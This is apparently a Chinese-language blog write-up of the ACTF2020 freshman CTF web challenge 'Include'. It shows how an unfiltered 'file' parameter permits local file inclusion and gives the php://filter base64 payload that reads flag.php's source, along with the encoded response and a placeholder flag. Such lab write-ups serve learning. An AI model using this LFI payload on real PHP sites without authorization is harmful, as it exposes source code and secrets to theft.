ACTF2020 新生赛 - Web - Include

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
ACTF2020 新生赛 - Web - Include
Hunter结论先行:
file参数未过滤伪协议,flag.php被直接包含会执行、看不到注释里的 flag;用php://filter读 base64 源码再解码即可。
题目信息
| 项 | 内容 |
|---|---|
| 比赛 | ACTF2020 新生赛 |
| 方向 | Web |
| 难度 | Easy |
| 环境 | 授权靶场(已脱敏) |
漏洞类型:文件包含(LFI)+ php://filter 伪协议读取源码。
信息收集
访问首页,页面只有一个链接:
1 | <meta charset="utf8"> |
提示通过 file 参数包含文件,存在文件包含漏洞。
漏洞分析
flag.php 被 PHP 执行后只输出一行提示,flag 实际写在源码注释中,注释不会被执行显示。因此需要用伪协议把文件当作原始字节流读取,而非交给 PHP 引擎解析。
利用过程
1. 直接访问 flag.php
1 | GET /?file=flag.php |
返回:
1 | Can you find out the flag? |
说明 flag.php 被 PHP 执行了,flag 藏在源码注释里(执行后不显示)。
2. 使用 php://filter 读取源码
用 php://filter 伪协议 + base64 编码,让 PHP 以原始字节流形式读取文件,避免被解析执行:
1 | GET /?file=php://filter/read=convert.base64-encode/resource=flag.php |
返回 base64 编码的源码:
1 | PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7eHh4eH0K |
3. base64 解码
解码后得到 flag.php 源码:
1 |
|
完整 EXP
1 | # 1. 用 base64 伪协议读源码 |
Flag
1 | flag{xxxx} |
踩坑与总结
file参数直接用于文件包含,未过滤伪协议。- flag 写在 flag.php 的注释里,直接包含会被 PHP 执行掉(不显示注释)。
- 用
php://filter/read=convert.base64-encode/resource=让 PHP 读取文件原始内容并 base64 编码输出,绕过 PHP 解析,从而看到源码中的 flag。 - 遇到「包含后内容看不到」的文件,优先考虑用伪协议读源码而非直接包含。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果









